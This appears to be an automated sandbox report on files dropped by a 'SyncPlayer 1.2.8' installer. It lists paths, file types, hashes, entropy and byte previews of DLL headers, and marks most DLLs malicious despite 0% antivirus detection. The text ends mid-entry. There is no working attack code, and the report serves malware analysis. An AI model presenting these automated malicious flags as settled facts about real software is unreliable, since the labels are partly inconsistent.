Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................0..........0=.......@....@..............................................@...............................%...`...@..........................................................................................................CODE....h/.......0.................. ..`DATA....@....@.......4..............@...BSS..........`.......F...................idata...%.......&...F..............@....tls.................l...................rdata...............l..............@..P.reloc.............................@..P.rsrc....@...`...@...n..............@..P.....................6..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-E4LUD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334350
Entropy (8bit):	6.476941251422441
Encrypted:	false
SSDEEP:	6144:6RXFp5Ik38GxNMHOfdCWBTjpmD/CiPTiD9w/U5XsdPVrHB5HrvQSFYd:Yp593DxamdBibxFYd
MD5:	9ECE73CA6C29378BB33146D90408CC47
SHA1:	5DAE13BA39EF8DC323CBCD8F39D119B4615FD541
SHA-256:	793D7AA16585FF581F757546EDAB36380632A1C1812C51A1185AA89387963AAA
SHA-512:	F2AACF2862D26F42266600C7C763847F6E45995CDD49F8A18DC0D3F1A7771821272C6CAFAAFE9C0C908CE09FE50A5CABCFC7E8EFFF73FFD1EE34246AC379E13F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;.2[...........#................`..............f......................................@... ..........................3...@.......p..L....................................................`......................\B...............................text...t...........................`.P`.data...............................@.`..rdata..............................@.`@/4......(s...p...t...F..............@.0@.bss....@.............................`..edata...3.......4..................@.0@.idata.......@......................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...L....p......................@.0..reloc..............................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-EDQQG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707072
Entropy (8bit):	6.206491339823504
Encrypted:	false
SSDEEP:	12288:8jYr3vhpHQE6B+sU+SVZ+LFWf1C6NGZVmVRfqb4tr3xY:8jgpDV+YZ+LF9UVRfqY6
MD5:	C2D89C0BA1D3616B03191E4CE5FC96E3
SHA1:	CD485AEA151D99D8170E32608C1BBDA5B7B920B5
SHA-256:	AC26AEFC4BBAA15EFB2EFFE81B7BDDD796609256E87679339E5F8E2AE9A271CF
SHA-512:	AA5F6832021A20104C3E966F2C4C28538EBE0218DFF4CEAA80D4B70232CD5F6607A8A52CEEC35A1FC227DE35ABDF7A7E31E56263986B7F114D29F25FCDA00B81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m...t...t...t.......t.......t...u...t..t..t..t....t..t...t..^..t..t....t..t..t..^..t..t..t.Rich..t.................PE..L....D.]...........!................-........................................0.......\|....@..........................w.......b................................... ..................................H;..@....................b..@....................text...k........................... ..`.rdata...x.......z..................@..@.data....Z....... ...n..............@....rsrc...............................@..@.reloc...p.......r...X..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-EHN7D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	502798
Entropy (8bit):	6.518579223762868
Encrypted:	false
SSDEEP:	6144:ptzLXexEuVq48FRnGiRnJiyn1ipwdw1IXWAqBXkNZdNqSwA7YOl0+ajnzrEUTZkI:p0wdw1IXWAqBXkNZqSFlJaj0Q5gc3
MD5:	1B236618E8F5A0BE415C5D2543057208
SHA1:	5C325931FFCBA70FF799D58E0A892DCC7858E2A3
SHA-256:	67E725889C8053E39A2E440A669766643AC08E1EE6900A114DB423A6206F10EE
SHA-512:	33EBD8A38DE97649D74BFDB413240A2A0CAFFD62B8C41EE206AF7FB9317B646348375905D5D7A591A13B266BC66D862E459CDC4B659ED8958D96A518B9A9C636
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:.2[...........#................`..............j................................e.....@... ......................@.."....P..8.......\....................................................p......................LQ...............................text...d...........................`.P`.data...<...........................@.P..rdata...-..........................@.`@.rodata.@...........................@.P@/4......L...........................@.0@.bss..................................`..edata.."....@.......x..............@.0@.idata..8....P.......~..............@.0..CRT....,....`......................@.0..tls.... ....p......................@.0..rsrc...\...........................@.0..reloc..............................@.0B................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-F9AEL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	164366
Entropy (8bit):	6.285599258858671
Encrypted:	false
SSDEEP:	3072:nxxxxRxRw6e3LDM1xaa6aa66oSFniTmeU9EgBMtCkKM89+PmN2DT:nxxxxRxRw6eUxaa6aa66oS8ZU9EPtCMD
MD5:	AC8DEB67AA83178FF73A9DA6FC93F91C
SHA1:	4EE6B2ABC8503E3B672CB2A0C7ABD0F75F79C5D5
SHA-256:	02060FF03FC054028BAD0028D5401A3A82F07FAE29C9DF092EB7B84C02F3BD68
SHA-512:	639A8A569573C1BC815D7A14AD9419E0EEAC7B857E72E127C0030808CFD514C506750F033F1D80417C75B39D41680AEBE04A3DF2610EBE4D84C87A7F27CA2279
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....,P...........#.....H...~......`........`.....m.......................................... ......................................................................................................................................................text...TG.......H..................`.P`.data........`.......L..............@.0..rdata.......p.......N..............@.`@/4......P............b..............@.0@.bss..................................`..edata...............p..............@.0@.idata...............r..............@.0..CRT....,............x..............@.0..tls.... ............z..............@.0..reloc...............\|..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-FCOF0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	6.426535807098075
Encrypted:	false
SSDEEP:	6144:3xLKtTtx9C3XSnuNFOFyso3R/cUnpCYQJmY62FTBqRAON7w:f3CuNn7BJCYQ9TsRQ
MD5:	77DB62270B198C2ACBC463E3F1F0B982
SHA1:	EE293FEFD9C439B01F4B0584A4816D2EC86221BD
SHA-256:	ECB3C629A4C97D83DCE819E0D4B211055BE55EFF3444CF28A2564B3F0669FCFF
SHA-512:	64E153891D1C636B25804404680B13E8A1F3A33CB4C41A92AF6363DECA7C1D4E779933556A1EB97D55B15A6BA500F102C09E4480CC5B7C91BB284E735AFE8132
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1P..u1..u1..u1..R...r1..R...`1..u1...0..\|In.S1..\|Ix..1..\|I...1..kc..v1..\|Iq.v1..\|Ii.t1..kco.t1..\|Ij.t1..Richu1..........PE..L....).Y...........!................................................................SE....@.........................0...F............`..........................<)..`..................................@...................l...@....................text............................... ..`.rdata..v...........................@..@.data...<].......$..................@....rsrc........`...0..................@..@.reloc...u.......v...4..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-GC27D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	4.21823111580972
Encrypted:	false
SSDEEP:	384:W6E5etE/YrPfUMH+R/6NNzRUOI0havjIAGRdqMKHWjFYeOphngA9iHy2J0+:WpI+/QfU3N6NNR/atUfid9iHyY0+
MD5:	54AEDDC619EED2FAEEE9533D58F778B9
SHA1:	CA9D723B87E0C688450B34F2A606C957391FBBF4
SHA-256:	EE15E6E3F82C48461EB638C1EA11019AE9E3E303E067E879115C6272139026E7
SHA-512:	7CEC39F32804109B3D502027D1EC42A594C1E4A2D93512195C60BD41AAD7E32A8B0EB21A0EE859FECB403EE939EEBC4608D9D27A4002B8C282DE32F696136506
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2.].\.].\.].\..R._.\.].].k.\.?.O.X.\...V.X.\..Z.\.\...X.^.\.Rich].\.................PE..L...1..O...........!.....P...P.......T.......`.......................................................................e.......`..P.......p.......................l....................................................`...............................text...xE.......P.................. ..`.rdata..G....`... ...`..............@..@.data...............................@....rsrc...p...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-IFRD5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	851
Entropy (8bit):	5.0869947237388375
Encrypted:	false
SSDEEP:	24:qPnRuV4MPgicifznCCgIdIcfzWCCgIdITl:MRuqS5CCgIdIMFCgIdITl
MD5:	EE45F127C55EF85DDFCA0F7A0087240B
SHA1:	9647DD4A6EB34AD4324C582F5108EDB80228C42F
SHA-256:	EA9A5CF003E5CC55AB8F2AA81C38646648F4ACB71FA408ACE428CE0144CEFAF4
SHA-512:	543361602177A99B32B23B7EB0E1CDA79AB4D77C9F2E64EA7A1F80216F488E7461E8663FDA28381BC4D337C1983EEF8005951DFBD05A006AFDFF11D7F7F55D62
Malicious:	false
Preview:	<?xml version='1.0' encoding='UTF-8' standalone='yes'?>..<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">.. <security>.. <requestedPrivileges>.. <requestedExecutionLevel level='asInvoker' uiAccess='false' />.. </requestedPrivileges>.. </security>.. </trustInfo>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity type='win32' name='Microsoft.VC90.CRT' version='9.0.21022.8' processorArchitecture='x86' publicKeyToken='1fc8b3b9a1e18e3b' />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity type='win32' name='Microsoft.VC90.MFC' version='9.0.21022.8' processorArchitecture='x86' publicKeyToken='1fc8b3b9a1e18e3b' />.. </dependentAssembly>.. </dependency>..</assembly>..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-JGR2M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	691
Entropy (8bit):	4.123292651950357
Encrypted:	false
SSDEEP:	12:hnHT/W+qV9LRa5IGnH17fOV98EaOcXnHXUp7fOV9kjRaxnHifOV9BHavnHM4iVUq:hnz+f9oVnVzK984cXnuzK9kjcnIK9Qnu
MD5:	CD7B70EF111EDC855756233899FC201E
SHA1:	DC3DA2E402E4F503F40A7266D737B96A73F771C7
SHA-256:	480A7DC890285A51BA785432AA00747CA7B5F207E48A2AED8DE4D53FB99EF26E
SHA-512:	5B0C04A71B3F18685CA3518754B44147004AE73F829AB2012B5CF0CAB5318AE6B5EB9FB4D43D6BCE2248912C026D55C6A8B17D89A2A5FEC8F374A07C04893363
Malicious:	false
Preview:	//......[HD]..VideoBitrate = 6000..Fps = 30..Sample = 44100..AudioBitrate = 128 ..Channel = 2....//......[High]..VideoBitrate = 3000..Fps = 24..Sample = 44100..AudioBitrate = 96 ..Channel = 2....//......[Medium]..VideoBitrate = 2000..Fps = 24..Sample = 44100..AudioBitrate = 64 ..Channel = 2....//.....[Standard]..VideoBitrate = 1500..Fps = 24..Sample = 44100..AudioBitrate = 32 ..Channel = 2....//.....[Lower]..VideoBitrate = 1000..Fps = 15..Sample = 22050..AudioBitrate = 16..Channel = 1

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-JJ68A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	157696
Entropy (8bit):	6.588815894817083
Encrypted:	false
SSDEEP:	3072:4vgQzfb7Tam/UofCMs9B3a87Kw2PgDaqa75nW0B6bS:qg+fOm/2MsX7qWF
MD5:	0C25DE9D7007B3810934B92D708CFDF0
SHA1:	311866DD1D3E61DFAB7B4B43114EB2BDC76B57BB
SHA-256:	464709B85BE4E48B19821B967C600B7CCD51AAF013C53504B349B6B424933675
SHA-512:	AFE9401D3F0E1D4D779D1563EE0295B17088C85B980A46729D3BF16683F8CB25D65E96EB0B6E183266B65CCEDE37246E04CB093D03FEE965180C583E5DB0C819
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E.$..$..$..\..$..\..$..\...$.....$..$..r$..\..$..\..$..v..$..\..$..Rich.$..........................PE..L......\...........!.................................................................q....@.........................P................`..X7......................p...................................P...@............................................text............................... ..`.rdata...[.......\..................@..@.data...hK..........................@....rsrc...X7...`...8..................@..@.reloc..` ......."...F..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-N0A7K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	6.357541095717686
Encrypted:	false
SSDEEP:	1536:KVqiEnH9RGX9xXLUWB1GOlb3MvH4xK+RRlm9A:isGX3Vwwbc6Rlm9A
MD5:	86A1311D51C00B278CB7F27796EA442E
SHA1:	AC08AC9D08F8F5380E2A9A65F4117862AA861A19
SHA-256:	E916BDF232744E00CBD8D608168A019C9F41A68A7E8390AA48CFB525276C483D
SHA-512:	129E4B8DD2665BCFC5E72B4585343C51127B5D027DBB0234291E7A197BAECA1BAB5ED074E65E5E8C969EE01F9F65CC52C9993037416DE9BFFF2F872E5AEBA7EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................<......0.............@..........................`.......................................................@....................... ..h...................................................................................CODE....\........................... ..`DATA....h...........................@...BSS......................................idata..............................@....edata..............................@..P.reloc..h.... ......................@..P.rsrc........@......................@..P.............`......................@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-O9SMK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	221696
Entropy (8bit):	6.044861431828742
Encrypted:	false
SSDEEP:	6144:oy6EiahKdODexmbUwTiTy8CfJMtoupgmRc:oyTYsTiTy8SJMtPF
MD5:	A142AE884D8D6B0BB9FAC780087E2934
SHA1:	7161A8467A6CF4AC9EF82223F44D2D1DD814F575
SHA-256:	B134D81F09281112E4AD8A3FD9702A6434489D82282F8A4835E59739BCC60F7B
SHA-512:	5986645BAAAE04C4FFA6E26D552A89A48513F3BDF8B02AAE3F8ECD8C175B16C77C8BC80523D9EE6C67DF8133E0B8EE86A1BEE666DD5F4710E922C226BF939349
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6.OW..OW..OW..h...GW..h...XW..OW..FU..F/..WW..F/...W..F/..5W..Q...LW..F/..JW..F/..NW..Q...NW..F/..NW..RichOW..........PE..L...@W.Q...........!.........N............... ............................................@.........................P........................................@..l#...$...............................e..@............ ......0...@....................text...;........................... ..`.rdata...... ......................@..@.data...8]......."..................@....rsrc............0..................@..@.reloc..rp...@...r..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-P4C7K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	6.09448972504833
Encrypted:	false
SSDEEP:	384:/33MgxjUjNrZ/6CCj6TLdLn5xv2ZdV3bdAf6zAC2ACc4dFukNLOtuh1Sg2L:fMgxohrZ///vYdV3bGE74dcIOtg2L
MD5:	5828961B2978F3457740770F6F07AE2E
SHA1:	9D04736ABD68DDDB7BD4EA115E4B7FE2BAEF1B0A
SHA-256:	7612D408EF46256D2B4E85FFB6EFEACF0C2BE2C1E96EE90A3B6FAF525BE80C4E
SHA-512:	5510E9EC3678D2FA4BA3D0928BB674CF88C9464818DA51D06194DE4BA9C3A4E052A9BE4CC7EDB9E5B0E430364122117A069ABB1BBE216A4682274392650EC8DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|.d./.d./.d./.+t/.d./..w/.d./..a/.d./..f/.d./..q/.d./.../.d./.../.d./.d./.d./..h/.d./..p/.d./..s/.d./Rich.d./................PE..L....._...........!.....N...>.......T.......`......................................z.....@.........................@...g....z......................................................................Xw..@............`...............................text...gM.......N.................. ..`.rdata...1...`...2...R..............@..@.data...0...........................@....rsrc...............................@..@.reloc..^...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-P9PMM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	data
Category:	dropped
Size (bytes):	2565120
Entropy (8bit):	6.743990298987904
Encrypted:	false
SSDEEP:	49152:gBCeezHk9xf76j9r750ZVA09v0ybQMBEsvjlmB7fRn6:BEzcyZVZ9v0yUKvjlmT
MD5:	F6F0065F11489BD75C91FECE80F36BAC
SHA1:	F51103DE4D549CB020058EBE993C5580BF10E7A9
SHA-256:	B8F038D9795F4E4510B35A8BA39C6C5F46481EFE9BE26D29FF05F5B571BA9F3F
SHA-512:	9EFB10E75B934B1E0EEAACE9F4A9AB7198B73A203481646C1867DCC8ED3F6D5EEC7ED56D02E99EC6FBC7945319F5D760677DF2B68840B9CD77F892A27B85DA47
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....,.L..........'......."..........."......."...@...........................'......j'.....................................t.".......#..............................................................................."..............................text.....".......".................`....rdata..\|<...."..>....".............@..@.data....... #..0....#.............@....rsrc.........#......8#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-RFD24.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	4.068445105760994
Encrypted:	false
SSDEEP:	384:Hyl3eok/STRXEPI4yHNpFrSHY537Fs0sHx3jyAo99jzunIPknttyJzzZ2noC:Sl3U6TRXOr0sHY53GFjs99jzenttEtJ
MD5:	6BA61053DC82AD14DFFEB110771266D1
SHA1:	D0B44272B9C7109E359ED5F64EF3537EBA092786
SHA-256:	5E6AFF4AE3987023B06ED3936C7608F758E3E826DB11A1DA5A5E8EDF0107E023
SHA-512:	CF590BBD0965C74C71F4713EF7972FF7E52CCB40411BDD0500E34EAFF6894A7C659C7E8033EB4E4BA056CA565595A73D300A62CDDCF6007F4471CB05D3E6240F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r..6..6..6....."............3..6..p.....5....7..Rich6..........PE..L....4BM...........!.....P...`......Y........`......................................................................@k...... f..<...............................D....................................................`...............................text....@.......P.................. ..`.rdata.......`.......`..............@..@.data...@1...p...0...p..............@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-S18VE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	89102
Entropy (8bit):	6.433101399482147
Encrypted:	false
SSDEEP:	1536:U2Vt7zQkCgHY99TMa8OrZducFOOF0vBKec1:UGFQkCgHYCOr/utG
MD5:	41465204A0947156F06267FD609A406D
SHA1:	B278E36DE90DAA44F3408DBB00B0D80169677FBF
SHA-256:	8554AA62925EFD12B0773D078FFED55F2B285E737A48F604C3E9C535D74636BB
SHA-512:	6D4F6EECF9CCFE65E9BBF67FF876C2E152ED254B831D00923B4658DED42F3103220E19EDA4083933F02178A08084D96CC694024AAEE66F59C48BA5E1ABBA7735
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...1.2[.\.........#.........X......`..............o................................3O....@... ......................p..q.......h.......d.......................`....................................................................................text...t...........................`.P`.data...............................@.`..rdata..$\|.......~..................@.`@/4...........@......................@.0@.bss.........`........................`..edata..q....p.......0..............@.0@.idata..h............4..............@.0..CRT....,............J..............@.0..tls.... ............L..............@.0..rsrc...d............N..............@.0..reloc..`............R..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-T16J5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	6.447992421693984
Encrypted:	false
SSDEEP:	768:M+qgK9p/K0fUyeAEBqCRUpJosqKXeHd5Fkv6pxh4WgfskSnChTe1QsHj5dBcjkTX:M+/KX/ZeTb0uHd5FigxhcfskSj75I92
MD5:	D5F9F42D8F864A9021C6BEA8E12074AD
SHA1:	7D326672F2C15A78EFF890534D7BF28DFADDBD45
SHA-256:	8B5D9098E881F00E18C94FF2AB30945429207F7D849B49DD5462E23401A57ABB
SHA-512:	03087777BB0FA7B7AE811360F747A3B8A5DF3D201A553C6260F0E9D6A6C7F34321C8F99B046C34CA660B24CC89BD0AD162D356BEAD67C0CEF62504F3E1F8FA87
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\.o.\.o.\.o.U...O.o.U...1.o..k.V.o.{,.._.o.\.n.9.o.U...~.o.U...].o.U...].o.Rich\.o.................PE..L...jT.\...........!.........H...............................................P......]w..............................`...L............0.......................@..........................................@...............p............................text............................... ..`.rdata...".......$..................@..@.data....-..........................@....rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-T3IBJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
Category:	dropped
Size (bytes):	69166
Entropy (8bit):	7.329060163500274
Encrypted:	false
SSDEEP:	1536:dFOWzH8eklX5ALvJwBuHEXNAewSUnX4wEpNkub9mjuZ8yPKOCj9p5Zn3Ii:fm7A7GFdzkX41p+ucI7Kpn3f
MD5:	F61EC1668464115772F8FA2FD562A70D
SHA1:	5A8A4BE4C84B77EBEF3B2AA65A8814D04E2ADA2B
SHA-256:	3A56C607D4BB495A6477D94A9E6ECD7A37BA50E0D1DDF287768633F8B274DD71
SHA-512:	EE560A3CF171C2CF01395FA7D8FE0F4CB1AC2AC10C26CE47EAD7B01D54E6C04DE2FA749C7A41433AB67EDE74000450D28D32C17316E81831946119CFB92F9C91
Malicious:	false
Preview:	RIFF&...WAVEfmt ........D.............data..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-UOUU3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	686080
Entropy (8bit):	6.599346864475418
Encrypted:	false
SSDEEP:	12288:Ou/F+MoQxHSbb6lQIrvw7A87cNzqmYWmQ+uYI0qV+h2uCpmL:prxybb6l9zw79GzqjWmQdYLqYUTs
MD5:	1583338F5D055CD5B4EA5677B2CCFF6E
SHA1:	2335761BD200D0008CB041EB3D7D4860E9E421E9
SHA-256:	C1F8E9F30A5BF7CA4A0F2F1F60FFD97A0F49F65448BF5B6B4BBDBC8A263A321F
SHA-512:	8A44820050D955D1401EF7B912AC4B86FCF5839FC2A64C1AE4CC8AC1A3FE9BB1AA1FA6063DF863D3DC2A1D0804451F6FCAC4F188390D5A27A68891273BBED957
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................n............... ....@..............................................................................-.......f......................\|...................................................T................................text............................... ..`.itext.............................. ..`.data...@-... ......................@....bss.....D...P.......8...................idata...-...........8..............@....edata...............f..............@..@.reloc..\|............j..............@..B.rsrc....f.......f..................@..@.....................x..............@..@........................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-VL7LS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	192512
Entropy (8bit):	6.24460502377909
Encrypted:	false
SSDEEP:	3072:qHKVfLsXRDEBmJ3pmjc2wjo8PaqJSreQ6i9:1VgXyBmJ3gjc20o8yqsr96i
MD5:	9CD220AF0338B8BBD8FB63205C259018
SHA1:	D687A1E58781D7B5F5983D48457720AFEDC8D8DD
SHA-256:	9B71083991EA70D126EB773658EEFD489E950350BFA26B9EE1E899FE4CAA5DBA
SHA-512:	C1218CE655B16F2B7FFD311D7C7C14C61FA1C0E2F8C0A4AD0A4F64843EEA711BF26495B4EFCA4E25803010106FB2703E04273F26B6F6E055DE91AE07FED03776
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................~...............................:........Rich..........................PE..L....z.J...........!......................... ......................................................................P&.......#..P....P..X............................................................................ ..P............................text...V........................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....rsrc...X....P.......@..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\postproc-51.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	164366
Entropy (8bit):	6.285599258858671
Encrypted:	false
SSDEEP:	3072:nxxxxRxRw6e3LDM1xaa6aa66oSFniTmeU9EgBMtCkKM89+PmN2DT:nxxxxRxRw6eUxaa6aa66oS8ZU9EPtCMD
MD5:	AC8DEB67AA83178FF73A9DA6FC93F91C
SHA1:	4EE6B2ABC8503E3B672CB2A0C7ABD0F75F79C5D5
SHA-256:	02060FF03FC054028BAD0028D5401A3A82F07FAE29C9DF092EB7B84C02F3BD68
SHA-512:	639A8A569573C1BC815D7A14AD9419E0EEAC7B857E72E127C0030808CFD514C506750F033F1D80417C75B39D41680AEBE04A3DF2610EBE4D84C87A7F27CA2279
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....,P...........#.....H...~......`........`.....m.......................................... ......................................................................................................................................................text...TG.......H..................`.P`.data........`.......L..............@.0..rdata.......p.......N..............@.`@/4......P............b..............@.0@.bss..................................`..edata...............p..............@.0@.idata...............r..............@.0..CRT....,............x..............@.0..tls.... ............z..............@.0..reloc...............\|..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\postproc-52.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	189966
Entropy (8bit):	6.281703857040552
Encrypted:	false
SSDEEP:	3072:exxxxRxRw6vxxxxRxRw6RsP4aa6aa663cQexwaa6aa663s2Wm548/+lr74angtFa:exxxxRxRw6vxxxxRxRw604aa6aa663cq
MD5:	06EE1D0F5A60783DE0846466B95CF758
SHA1:	0A82AAADD658B8EB4807F61447CAEECF1050CB1C
SHA-256:	C0E8BEC9F8178F73C20A76B26D206FB79AD3112C3A78D3380CC8A661493B28C1
